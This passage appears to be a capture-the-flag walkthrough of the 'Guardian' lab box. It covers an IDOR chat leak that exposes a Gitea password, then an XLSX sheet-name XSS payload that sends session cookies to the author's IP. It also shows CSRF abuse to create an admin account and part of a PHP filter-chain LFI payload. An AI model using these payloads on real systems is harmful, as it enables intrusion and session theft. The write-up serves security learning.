User maki_adm may run the following commands on barrier:
(ALL) ALL
Not only that, but maki_adm can run any command as any user.
Guardian is a Linux box hosting a university portal built with PHP. I’ll exploit an IDOR in the chat feature to find Gitea credentials, then use the source code to identify a vulnerability in PhpSpreadsheet that allows XSS through a malicious XLSX file to steal a lecturer’s session cookie. From the lecturer account, I’ll combine a CSRF vulnerability with a weak CSRF token implementation to create an admin account. As admin, I’ll abuse a local file include with PHP filter chain injection to get RCE. After cracking a database password hash, I’ll pivot through users by modifying a writable Python script. I’ll escalate to root abusing a silly binary wrapper around apache2ctl many ways.
nmap finds two open TCP ports, SSH (22) and HTTP (80):
oxdf@hacky$sudo nmap -p--vvv--min-rate 10000 10.129.237.248
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-22 18:28 UTC
...[snip]...
Nmap scan report for 10.129.237.248
Host is up, received timestamp-reply ttl 63 (0.025s latency).
Scanned at 2026-02-22 18:28:48 UTC for 9s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 10.20 seconds
Raw packets sent: 86899 (3.824MB) | Rcvd: 65641 (2.626MB)
oxdf@hacky$sudo nmap -p 22,80 -sCV 10.129.237.248
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-22 18:29 UTC
Nmap scan report for 10.129.237.248
Host is up (0.021s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9c:69:53:e1:38:3b:de:cd:42:0a:c8:6b:f8:95:b3:62 (ECDSA)
|_ 256 3c:aa:b9:be:17:2d:5e:99:cc:ff:e1:91:90:38:b7:39 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://guardian.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: _default_; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.67 seconds
Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 22.04 jammy LTS (or maybe 22.10 kinetic).
Both ports show a TTL of 63, which matches the expected TTL for Linux one hop away.
Apache is redirecting the request to guardian.htb.
Subdomain Brute Force - TCP 80
Given the use of hostname based routing, I’ll brute force for subdomains of guardian.htb that respond differently from the default case using ffuf:
It finds portal.guardian.htb. I’ll update my /etc/hosts file:
10.129.237.248 guardian.htb portal.guardian.htb
guardian.htb - TCP 80
Site
The site is for a university:
In the “Student Testimonials” section, there are three names with email addresses:
The ID seems to be “GUxxxxxx” (where the x is a digit). Moreover, it seems to be three digits and maybe a year, as the three IDs end in 2023 or 2025. There’s a reference to admissions@guardian.htb at the bottom next to the “Contact Us” form:
Submitting the form does pop up an alert box:
But no request is sent to the server, so this is nothing.
There’s a link at the top to portal.guardian.htb. The rest of the links lead to anchors on this page.
The main page loads as both / and /index.html, which further suggests a static site. The 404 page is the default Apache 404:
Directory Brute Force
I’ll run feroxbuster against the site, but it doesn’t find anything interesting:
oxdf@hacky$feroxbuster -u http://guardian.htb
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://guardian.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 31w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter403 GET 9l 28w 277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter301 GET 9l 28w 309c http://guardian.htb/js => http://guardian.htb/js/301 GET 9l 28w 317c http://guardian.htb/javascript => http://guardian.htb/javascript/301 GET 9l 28w 313c http://guardian.htb/images => http://guardian.htb/images/301 GET 9l 28w 310c http://guardian.htb/css => http://guardian.htb/css/200 GET 31l 84w 919c http://guardian.htb/js/scripts.js
200 GET 296l 575w 5104c http://guardian.htb/css/styles.css
200 GET 156l 447w 6741c http://guardian.htb/
301 GET 9l 28w 324c http://guardian.htb/javascript/jquery => http://guardian.htb/javascript/jquery/200 GET 10879l 44396w 288550c http://guardian.htb/javascript/jquery/jquery
[####################] - 65s 180023/180023 0s found:9 errors:70
[####################] - 64s 30000/30000 466/s http://guardian.htb/
[####################] - 64s 30000/30000 467/s http://guardian.htb/js/
[####################] - 64s 30000/30000 469/s http://guardian.htb/javascript/
[####################] - 62s 30000/30000 487/s http://guardian.htb/javascript/jquery/
[####################] - 61s 30000/30000 488/s http://guardian.htb/images/
[####################] - 60s 30000/30000 497/s http://guardian.htb/css/
portal.guardian.htb - TCP 80
Site
The portal site offers a login:
The “Forgot Password” link leads to a form where I can enter an ID and it says it’ll send an email:
Entering one shows what a secure site would show by not confirming if it is a valid ID or not:
On visiting the login page, there’s a temporary pop-up at the top right:
This leads to the same path as the “Help” link, which loads /static/downloads/Guardian_University_Student_Portal_Guide.pdf:
There’s another email address, support@guardian.htb, but also a default password! The metadata on the PDF shows it was created with python-docx:
oxdf@hacky$exiftool Guardian_University_Student_Portal_Guide.pdf
ExifTool Version Number : 12.76
File Name : Guardian_University_Student_Portal_Guide.pdf
Directory : .
File Size : 119 kB
File Modification Date/Time : 2025:07:10 16:06:12+00:00
File Access Date/Time : 2026:02:23 13:55:21+00:00
File Inode Change Date/Time : 2026:02:23 13:55:23+00:00
File Permissions : -rwxrwx---
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.7
Linearized : No
Page Count : 1
Language : en
Tagged PDF : Yes
XMP Toolkit : 3.1-701
Producer : Microsoft® Word 2016
Creator : python-docx
Creator Tool : Microsoft® Word 2016
Create Date : 2025:01:05 10:18:32+02:00
Modify Date : 2025:01:05 10:18:32+02:00
Document ID : uuid:F7151B96-BF19-4C88-9F67-62962DCDD93D
Instance ID : uuid:F7151B96-BF19-4C88-9F67-62962DCDD93D
Author : python-docx
Tech Stack
The site is using PHP, as shown in the URL paths including /login.php and /forgot.php. The HTTP response headers also set a PHP cookie on initial interaction:
HTTP/1.1302FoundDate:Sun, 22 Feb 2026 18:40:28 GMTServer:Apache/2.4.52 (Ubuntu)Expires:Thu, 19 Nov 1981 08:52:00 GMTCache-Control:no-store, no-cache, must-revalidatePragma:no-cacheSet-Cookie:PHPSESSID=ht2atm7aip5jqku6531oabqone; path=/Location:/login.phpContent-Length:0Keep-Alive:timeout=5, max=100Connection:Keep-AliveContent-Type:text/html; charset=UTF-8
I’ll run feroxbuster against the site, and include -x php to check for .php files:
oxdf@hacky$feroxbuster -u http://portal.guardian.htb -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://portal.guardian.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
💲 Extensions │ [php]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 31w 281c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter403 GET 9l 28w 284c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter404 GET 1l 3w 16c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter301 GET 9l 28w 329c http://portal.guardian.htb/includes => http://portal.guardian.htb/includes/302 GET 0l 0w 0c http://portal.guardian.htb/ => http://portal.guardian.htb/login.php301 GET 9l 28w 326c http://portal.guardian.htb/admin => http://portal.guardian.htb/admin/301 GET 9l 28w 327c http://portal.guardian.htb/config => http://portal.guardian.htb/config/200 GET 607l 3253w 210067c http://portal.guardian.htb/static/downloads/Guardian_University_Student_Portal_Guide.pdf
301 GET 9l 28w 331c http://portal.guardian.htb/javascript => http://portal.guardian.htb/javascript/301 GET 9l 28w 327c http://portal.guardian.htb/static => http://portal.guardian.htb/static/302 GET 0l 0w 0c http://portal.guardian.htb/index.php => http://portal.guardian.htb/login.php302 GET 0l 0w 0c http://portal.guardian.htb/logout.php => http://portal.guardian.htb/login.php301 GET 9l 28w 327c http://portal.guardian.htb/models => http://portal.guardian.htb/models/200 GET 84l 184w 2900c http://portal.guardian.htb/login.php
301 GET 9l 28w 327c http://portal.guardian.htb/vendor => http://portal.guardian.htb/vendor/301 GET 9l 28w 328c http://portal.guardian.htb/student => http://portal.guardian.htb/student/200 GET 173l 316w 3286c http://portal.guardian.htb/static/styles/forgot.css
200 GET 38l 92w 1383c http://portal.guardian.htb/forgot.php
301 GET 9l 28w 334c http://portal.guardian.htb/static/styles => http://portal.guardian.htb/static/styles/200 GET 0l 0w 0c http://portal.guardian.htb/config/db.php
302 GET 0l 0w 0c http://portal.guardian.htb/admin/users.php => http://portal.guardian.htb/login.php200 GET 0l 0w 0c http://portal.guardian.htb/includes/auth.php
302 GET 0l 0w 0c http://portal.guardian.htb/admin/chat.php => http://portal.guardian.htb/login.php302 GET 0l 0w 0c http://portal.guardian.htb/admin/profile.php => http://portal.guardian.htb/login.php302 GET 0l 0w 0c http://portal.guardian.htb/admin/index.php => http://portal.guardian.htb/login.php200 GET 0l 0w 0c http://portal.guardian.htb/config/config.php
301 GET 9l 28w 337c http://portal.guardian.htb/static/downloads => http://portal.guardian.htb/static/downloads/302 GET 0l 0w 0c http://portal.guardian.htb/student/home.php => http://portal.guardian.htb/login.php301 GET 9l 28w 334c http://portal.guardian.htb/admin/reports => http://portal.guardian.htb/admin/reports/302 GET 0l 0w 0c http://portal.guardian.htb/admin/reports.php => http://portal.guardian.htb/login.php200 GET 0l 0w 0c http://portal.guardian.htb/models/User.php
301 GET 9l 28w 338c http://portal.guardian.htb/javascript/jquery => http://portal.guardian.htb/javascript/jquery/301 GET 9l 28w 335c http://portal.guardian.htb/includes/admin => http://portal.guardian.htb/includes/admin/301 GET 9l 28w 334c http://portal.guardian.htb/static/vendor => http://portal.guardian.htb/static/vendor/302 GET 0l 0w 0c http://portal.guardian.htb/admin/settings.php => http://portal.guardian.htb/login.php302 GET 0l 0w 0c http://portal.guardian.htb/admin/courses.php => http://portal.guardian.htb/login.php301 GET 9l 28w 337c http://portal.guardian.htb/includes/student => http://portal.guardian.htb/includes/student/200 GET 1l 30245w 2934019c http://portal.guardian.htb/static/vendor/tailwindcss/tailwind.min.css
200 GET 27l 51w 763c http://portal.guardian.htb/admin/reports/system.php
200 GET 10879l 44396w 288550c http://portal.guardian.htb/javascript/jquery/jquery
302 GET 0l 0w 0c http://portal.guardian.htb/student/course.php => http://portal.guardian.htb/login.php200 GET 88l 171w 3286c http://portal.guardian.htb/includes/admin/sidebar.php
301 GET 9l 28w 334c http://portal.guardian.htb/admin/notices => http://portal.guardian.htb/admin/notices/302 GET 0l 0w 0c http://portal.guardian.htb/student/notices.php => http://portal.guardian.htb/login.php200 GET 34l 70w 1198c http://portal.guardian.htb/admin/reports/academic.php
302 GET 0l 0w 0c http://portal.guardian.htb/admin/notices/index.php => http://portal.guardian.htb/login.php200 GET 70l 142w 2734c http://portal.guardian.htb/includes/student/sidebar.php
200 GET 45l 82w 1424c http://portal.guardian.htb/admin/reports/financial.php
200 GET 0l 0w 0c http://portal.guardian.htb/admin/notices/delete.php
302 GET 0l 0w 0c http://portal.guardian.htb/admin/chats.php => http://portal.guardian.htb/login.php302 GET 0l 0w 0c http://portal.guardian.htb/admin/notices/create.php => http://portal.guardian.htb/login.php200 GET 0l 0w 0c http://portal.guardian.htb/models/Message.php
302 GET 0l 0w 0c http://portal.guardian.htb/student/submission.php => http://portal.guardian.htb/login.php302 GET 0l 0w 0c http://portal.guardian.htb/student/assignments.php => http://portal.guardian.htb/login.php200 GET 0l 0w 0c http://portal.guardian.htb/models/Course.php
200 GET 0l 0w 0c http://portal.guardian.htb/models/Program.php
200 GET 47l 99w 1628c http://portal.guardian.htb/admin/reports/enrollment.php
200 GET 0l 0w 0c http://portal.guardian.htb/models/Notice.php
302 GET 0l 0w 0c http://portal.guardian.htb/admin/notices/approve.php => http://portal.guardian.htb/login.php301 GET 9l 28w 336c http://portal.guardian.htb/vendor/composer => http://portal.guardian.htb/vendor/composer/200 GET 21l 168w 1070c http://portal.guardian.htb/vendor/composer/LICENSE
200 GET 0l 0w 0c http://portal.guardian.htb/vendor/composer/installed.php
[####################] - 13m 540087/540087 0s found:59 errors:59357
[####################] - 9m 30000/30000 53/s http://portal.guardian.htb/
[####################] - 11m 30000/30000 46/s http://portal.guardian.htb/includes/
[####################] - 11m 30000/30000 46/s http://portal.guardian.htb/admin/
[####################] - 11m 30000/30000 47/s http://portal.guardian.htb/config/
[####################] - 11m 30000/30000 46/s http://portal.guardian.htb/javascript/
[####################] - 11m 30000/30000 47/s http://portal.guardian.htb/static/
[####################] - 11m 30000/30000 44/s http://portal.guardian.htb/models/
[####################] - 11m 30000/30000 45/s http://portal.guardian.htb/vendor/
[####################] - 11m 30000/30000 46/s http://portal.guardian.htb/student/
[####################] - 11m 30000/30000 47/s http://portal.guardian.htb/static/downloads/
[####################] - 11m 30000/30000 45/s http://portal.guardian.htb/static/styles/
[####################] - 11m 30000/30000 46/s http://portal.guardian.htb/admin/reports/
[####################] - 11m 30000/30000 46/s http://portal.guardian.htb/javascript/jquery/
[####################] - 11m 30000/30000 46/s http://portal.guardian.htb/static/vendor/
[####################] - 11m 30000/30000 47/s http://portal.guardian.htb/includes/admin/
[####################] - 11m 30000/30000 47/s http://portal.guardian.htb/includes/student/
[####################] - 10m 30000/30000 50/s http://portal.guardian.htb/admin/notices/
[####################] - 4m 30000/30000 116/s http://portal.guardian.htb/vendor/composer/
/admin redirects to /login.php. /config returns a 403 forbidden.
There’s a /models/ directory with PHP files like User.php and Message.php. These are all 0 bytes inside, which suggest PHP files that have code that doesn’t output anything directly, but instead are meant to be included and used.
I’ll note /vendor/composer shows the use of the Composer PHP dependency manager.
There are several pages in /admin/reports that return pages. For example, /admin/reports/financial.php:
On a production system this would be a finding of an information leak. I suspect in a CTF setting this is just forgetting to put authentication controls on these files which are likely included by some kind of dashboard. All of the other paths in /admin redirect to /login.php.
There are other paths that should be behind auth as well, like /includes/student/sidebar.php, but it isn’t super useful to me:
All of the links end up back at /login.php.
Shell as www-data
Site Login as Student
There’s a default password of “GU1234”, and I have three user IDs from the testimonials on the page. It turns out that GU0142023 didn’t change theirs and I can login. I can also fuzz this with ffuf:
This only finds the same account, but it’s a neat use of ffuf with two word lists. I’m using two less common things here. First, since ffuf only takes files as wordlists, I’m using bashprocess substitution to generate temp files full of the output of seq commands to generate lists of numbers. Next, with multiple -w parameters, I can use the format -w <filename>:<marker> to specify a marker for each list. In this case, I’m using COUNT for the counter from 0 to 999, and YEAR for the year (from 2020 - 2026). By default, ffuf will try all possible combinations, which is what I want here. I could use -mode to change that.
Gitea Access
Authenticated Enumeration
The authenticated page leads to a dashboard:
There are pages in the side menu for Courses, Assignments, Grads, Chats, and Notices, as well as a place to update the user’s profile and logout. This user is enrolled in four courses (and the date seems to always be today):
They have six open assignments, five of which are very late, and one of which seems to always be in the future:
Trying to view an overdue assignment pops an alert:
“View Details” on the “Upcoming” assignment has a submission form:
It accepts .docx and .xlsx.
The chat allows for chat between two users:
The existing chats aren’t that interesting:
There’s a dropdown menu to select users to chat with a long list of users, some of which have a first.last format, and others the GUXXXYYYY format:
IDOR
In the dropdown menu, the names and GUXXXYYYY user IDs map to values from 1 to 62, with 11, 13, and 14 missing from the list.
The URL for viewing a chat is something like /student/chat.php?chat_users[0]=13&chat_users[1]=14. It seems to take an array of chat_users with IDs that line up to the dropdown values. For both existing chats, the chat_user[0] is 13, and the chat_user[1] is 11 or 14.
If I try simply changing the ids, most of the time I get an empty chat (which likely means there are no messages between those users). But for some pairs, I get their chats. For example, setting the IDs to 39 and 40 returns these messages from two other users:
There’s nothing interesting about these chats, but GU0142023 should not be reading them.
I’ll use ffuf to look for chats that aren’t empty:
I’ve fuzzed from 1 to 62 for both IDs, and am including my cookie so I’m authenticated. I’m saving the results as json to chats.json so I can easily interact with them. On first thought, there are 64 chats to check, and I can print the URLs:
However, there’s a duplication here, as chat_users[0]=39&chat_users[1]=40 and chat_users[0]=40&chat_users[1]=39 will return the same information. I’ll use jq to select chats where id 0 is less than id 1:
It assumes the given cookie is logged in. Then it gets each URL, fetches it with curl, and processes the results:
oxdf@hacky$bash scripts_claude/dump_chats.sh
========== Chat: User 1 <-> User 2 ==========
admin: Hello! How are you doing today?
admin: Here is your password for gitea: DHsNnk3V503
jamil.enockson: I am doing great, thanks.
========== Chat: User 1 <-> User 3 ==========
admin: Hey, I have a quick question regarding the assignment submission.
mark.pargetter: Sure, feel free to ask! What’s your question?
========== Chat: User 2 <-> User 3 ==========
mark.pargetter: Sure! I’ll provide detailed feedback by the end of the day.
jamil.enockson: Could you give me feedback on my last presentation?
========== Chat: User 1 <-> User 4 ==========
admin: What time is the meeting tomorrow?
valentijn.temby: The meeting is scheduled for 10 AM.
========== Chat: User 3 <-> User 4 ==========
mark.pargetter: Reminder: Your assignment is due tomorrow. Please submit it on time.
valentijn.temby: Thanks for the reminder! I will make sure to submit it.
========== Chat: User 2 <-> User 5 ==========
leyla.rippin: I’m available tomorrow afternoon. Does that work for you?
jamil.enockson: Can we schedule a meeting to discuss your recent project?
========== Chat: User 5 <-> User 6 ==========
leyla.rippin: Can you clarify the requirements for the upcoming project?
perkin.fillon: Of course! I will send you more details shortly.
========== Chat: User 4 <-> User 6 ==========
valentijn.temby: Just wanted to remind you about the upcoming exam next week.
perkin.fillon: Thanks for the reminder. I will make sure to prepare well.
========== Chat: User 7 <-> User 8 ==========
cyrus.booth: Don’t forget about the meeting later today.
sammy.treat: Thanks for the heads-up! I’ll be there on time.
========== Chat: User 7 <-> User 9 ==========
cyrus.booth: The system is not letting me upload my assignment. Could you help?
crin.hambidge: I’ll check it and get back to you in a few minutes.
========== Chat: User 9 <-> User 10 ==========
crin.hambidge: Please check the updated syllabus on the portal.
myra.galsworthy: Got it! I’ll review the syllabus and let you know if I have any questions.
========== Chat: User 8 <-> User 10 ==========
sammy.treat: I had some trouble accessing the course materials. Can you assist?
myra.galsworthy: I’ll help you out with that. I’ll send you the links directly.
========== Chat: User 11 <-> User 12 ==========
mireielle.feek: The lecture today was very informative.
vivie.smallthwaite: I’m glad you found it helpful! Let me know if you need any further explanation.
========== Chat: User 11 <-> User 13 ==========
mireielle.feek: Great job on your presentation yesterday!
GU0142023: Thank you! I appreciate the feedback.
========== Chat: User 13 <-> User 14 ==========
GU0142023: Can you help me with a few questions from the last exam?
GU6262023: Sure! I’ll assist you with those questions.
========== Chat: User 12 <-> User 14 ==========
vivie.smallthwaite: Are you available to review my code this evening?
GU6262023: Sure, I’ll be free after 7 PM. Let’s connect then.
========== Chat: User 15 <-> User 16 ==========
GU0702025: I missed class yesterday due to a personal issue. Can you share the notes?
GU0762023: No worries! I’ll send you the class notes right away.
========== Chat: User 15 <-> User 17 ==========
GU0702025: Can you explain the concept of polymorphism in the next lecture?
GU9492024: I’ll make sure to explain that in detail during the next class.
========== Chat: User 17 <-> User 18 ==========
GU9492024: The assignment submission link seems to be broken. Can you check it?
GU9612024: I’ll report the issue right now and update you shortly.
========== Chat: User 16 <-> User 18 ==========
GU0762023: Is there any update on the program schedule for next semester?
GU9612024: I will share the updated schedule as soon as I get the final confirmation.
========== Chat: User 19 <-> User 20 ==========
GU7382024: I have uploaded my project to the system. Please review it when you can.
GU6632023: I’ve received it. I will review and give you feedback soon.
========== Chat: User 19 <-> User 21 ==========
GU7382024: I need help understanding the requirements for the final project.
GU1922024: I’ll send you the details about the final project and its requirements shortly.
========== Chat: User 20 <-> User 22 ==========
GU6632023: I just wanted to say thanks for your support during the last project.
GU8032023: It was my pleasure! I’m glad I could help.
========== Chat: User 23 <-> User 24 ==========
GU5852023: Can we extend the submission deadline for the assignment?
GU0712023: I’ll check with the professor and let you know if an extension is possible.
========== Chat: User 25 <-> User 26 ==========
GU1592025: I found some errors in the last test. Are you aware of them?
GU1112023: Thanks for pointing that out. I’ll address it with the team right away.
========== Chat: User 27 <-> User 28 ==========
GU6432025: Can you send me the link to the course discussion forum?
GU3042024: I’ll send it over shortly.
========== Chat: User 29 <-> User 30 ==========
GU1482025: I need help with the software installation for the course.
GU3102024: I’ll send you a step-by-step guide on how to install it.
========== Chat: User 31 <-> User 32 ==========
GU7232023: I’ve updated my contact information in the portal. Please check it.
GU8912024: Thanks for updating! I’ve confirmed it on the system.
========== Chat: User 33 <-> User 34 ==========
GU4752025: Could you please explain the grading criteria for the course?
GU9602024: I’ll share the grading rubric with you by tomorrow.
========== Chat: User 35 <-> User 36 ==========
GU4382025: Can you send me a reminder about the upcoming deadline?
GU7352023: Of course! I’ll remind you a day before the deadline.
========== Chat: User 37 <-> User 38 ==========
GU3042025: Are you available for office hours this week?
GU3872024: Yes, I’ll be available on Wednesday from 3 PM to 5 PM.
========== Chat: User 39 <-> User 40 ==========
GU7462025: I missed the last lecture. Can you send me the slides?
GU3902023: I’ll send the slides to you via email shortly.
The interesting one is the first one, which gives a password for Gitea of “DHsNnk3V503” to jamil.enockson.
Find Gitea
I didn’t identify any interesting Gitea domains earlier when I fuzzed. I’ll get any domain in the SecLists DNS section that has the string “git” and try it with ffuf:
I could have probably just guessed it would be gitea.guardian.htb. I’ll add this to my /etc/hosts file. Now visiting http://gitea.guardian.htb returns an instance of Gitea:
The username jamil.enockson@guardian.htb with the password from chat works to login!
Lecturer Portal Access
Source Code Overview
I’ll clone the portal.guardian.htb repo to my host, putting the username and password in the URL (encoding the “@” in the email):
The PHP project is set up with four main PHP pages at the root, along with the Composer configuration, and then directories for the various types of use:
The composer.lock file shows the external dependencies used:
The it gets the two IDs from the URL (so it’s not possible to have more than two people in a chat), and uses the Message model to get messages between those two users:
The Message model is defined in models/Message.php, and getMessageBetweenUsers simply formats and makes an SQL query:
publicfunctiongetMessagesBetweenUsers($user1_id,$user2_id){$sql="SELECT m.*, s.username as sender_name, r.username as receiver_name
FROM {$this->table} m
JOIN users s ON m.sender_id = s.user_id
JOIN users r ON m.receiver_id = r.user_id
WHERE (m.sender_id = :user1_id AND m.receiver_id = :user2_id)
OR (m.sender_id = :user2_id AND m.receiver_id = :user1_id)
ORDER BY m.sent_at ASC";$stmt=$this->db->prepare($sql);$stmt->execute(['user1_id'=>$user1_id,'user2_id'=>$user2_id]);return$stmt->fetchAll(PDO::FETCH_ASSOC);}
There’s no validation at any point, which is why the IDOR works.
XSS in Assignment Submission
The only other place I could see in the site to submit something as a user is the assignment upload. The composer.json shows the versions. Searching for CVEs in this version of phpword doesn’t find anything interesting. Searching for phpspreadsheet however returns several different CVEs:
The Security Page on the PHPOffice GitHub is a quick way to look through known vulnerabilities. Two jump out as applying to 3.7.0:
The cookie used for state on this site is not set as httpOnly:
That means I can exfil it using XSS, with a payload like "> <img src=x onerror=fetch('http://10.10.14.60/exfil?cookie='+document.cookie)>. The advisory shows putting the payload as the name of a sheet. Libre Office Calc doesn’t let me rename a sheet like that:
I’ll save a workbook with two empty sheets as cookie.xlsx, and unzip it:
To edit the file inside the zip archive that is the Office doc, I like to use vim, as it can edit files inside the zip without changing the zip metadata or my having to re-zip it. I’ll make a copy of the empty workbook and open it with vim xss.xlsx. It shows a list of the files inside the archive:
I’ll move the cursor down to xl/workbook.xml and hit enter. It opens that file. I’ll edit the name, HTML-encoding the tags:
Now :wq to exit back to the zip archive view, and then :q to exit (no need to write here, and it may even throw an error). The file is still an Excel doc:
oxdf@hacky$file xss.xlsx
xss.xlsx: Microsoft Excel 2007+
Deploy Payload
I’ll upload the document via the web form:
It reports success:
After a minute or two, there’s a hit on my Python webserver (python -m http.server 80):
If the admin is going to click on a link I send them, I can use the source code to look for endpoints that do something interesting that I can get the admin to request. If I find a GET request, I can just make a full URL and send it. However, if I need to POST, I’ll have to create a page that creates a fake form and autosubmits it, dealing with an CSRF protections along the way.
Because this site is built on raw PHP (which is going to be exceedingly rare now), I can look at the PHP files in the admin directory to get an idea of what actions might be possible:
Once it’s past that, it gets the data for the new user, validates that none of it is empty, and then creates the new user:
$username=$_POST['username']??'';$password=$_POST['password']??'';$full_name=$_POST['full_name']??'';$email=$_POST['email']??'';$dob=$_POST['dob']??'';$address=$_POST['address']??'';$user_role=$_POST['user_role']??'';// Check for empty fieldsif(empty($username)||empty($password)||empty($full_name)||empty($email)||empty($dob)||empty($address)||empty($user_role)){$error="All fields are required. Please fill in all fields.";}else{$password=hash('sha256',$password.$salt);$data=['username'=>$username,'password_hash'=>$password,'full_name'=>$full_name,'email'=>$email,'dob'=>$dob,'address'=>$address,'user_role'=>$user_role];if($userModel->create($data)){header('Location: /admin/users.php?created=true');exit();}else{$error="Failed to create user. Please try again.";}}}
I can create a page that submits this POST request as the phished user, but I’ll need a valid CSRF token. For this, I’ll look into add_token_to_pool and is_valid_token. Both of these are defined in config/csrf-tokens.php:
It’s keeping a global list of tokens, and each time add_token_to_pool is called, it adds to that list. is_valid_token checks if the current token is in that list, but the list is never cleared or items never removed. That means if I can learn one CSRF token, I should be able to use it over and over.
add_token_to_pool is called at the top of lecturer/notices/create.php:
When the page loads, the script will run, and send that POST request. So if I can get the admin to load this page, they will create a user in the user oxdf in the admin role. A few seconds after sending the notice, I’ll get a hit:
And then I can log in as oxdf and get an admin dashboard:
RCE
Enumeration
As Admin, the new addition to the menu bar is the “Reports” tab.
Clicking on any of the four reports loads a URL of the format http://portal.guardian.htb/admin/reports.php?report=reports/enrollment.php. The included pages are the reports files I found during enumeration earlier.
Local File Include
This is a classic (if not outdated) local file include (LFI). The source code shows what’s happening:
$report is set as whatever is in the request or reports/academic.php if nothing is provided. It checks for .. and that the included file ends with one of the four report files. Later on the page it uses include to load the file:
<?phpinclude($report);?>
If PHP is configured to allow for remote file inclusion, I could pass something like http://10.10.14.60/system.php in and it would load from my host. That doesn’t work here.
Instead I’ll use the php_filter_chain_generator from Synactiv. I’ve shown this multiple times before. In UpDown I did a Beyond Root section on this technique when it was new and created a YouTube video explaining it:
I’ll use the Synacktiv tool to generate a POC chain:
oxdf@hacky$uv run php_filter_chain_generator.py --chain'<?php phpinfo(); ?>'[+] The following gadget chain will generate the following code : <?php phpinfo(); ?> (base64 value: PD9waHAgcGhwaW5mbygpOyA/Pg)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|conver